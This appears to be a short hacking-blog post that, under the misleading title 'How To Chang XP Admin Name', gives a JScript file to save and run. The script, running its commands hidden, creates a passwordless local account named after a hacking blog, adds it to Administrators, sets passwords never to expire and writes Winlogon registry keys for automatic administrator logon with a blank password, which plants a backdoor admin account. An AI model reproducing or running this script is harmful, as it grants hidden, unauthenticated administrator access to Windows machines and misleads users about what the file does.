How To Chang XP Admin Name

                                  Copy IN Notepad and Save IN JS File

var WshShell = new ActiveXObject("WScript.Shell");
var key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\";

WshShell.Run("net user \"www.Moaviahacking.blogspot.com\" \"\" /add", 0, true);
WshShell.Run("net localgroup \"Power Users\" \"www.Moaviahacking.blogspot.com\" /delete", 0, true);
WshShell.Run("net localgroup \"Users\" \"www.Moaviahacking.blogspot.com\" /delete", 0, true);
WshShell.Run("net localgroup \"Guests\" \"www.Moaviahacking.blogspot.com\" /delete", 0, true);
WshShell.Run("net localgroup \"HelpServicesGroup\" \"www.Moaviahacking.blogspot.com\" /delete", 0, true);
WshShell.Run("net localgroup \"Network Configuration Operators\" \"www.Moaviahacking.blogspot.com\" /delete", 0, true);

WshShell.Run("net localgroup \"Remote Desktop Users\" \"www.Moaviahacking.blogspot.com\" /delete", 0, true);
WshShell.Run("net localgroup \"Replicator\" \"www.Moaviahacking.blogspot.com\" /delete", 0, true);
WshShell.Run("net localgroup \"Backup Operators\" \"www.Moaviahacking.blogspot.com\" /delete", 0, true);
WshShell.Run("net localgroup \"Administrators\" \"www.Moaviahacking.blogspot.com\" /add", 0, true);

WshShell.Run("net accounts /maxpwage:unlimited", 0, true);

WshShell.RegWrite(key + "DefaultUserName", "www.Moaviahacking.blogspot.com", "REG_SZ");
WshShell.RegWrite(key + "DefaultPassword", "", "REG_SZ");
WshShell.RegWrite(key + "AutoAdminLogon", "1", "REG_SZ");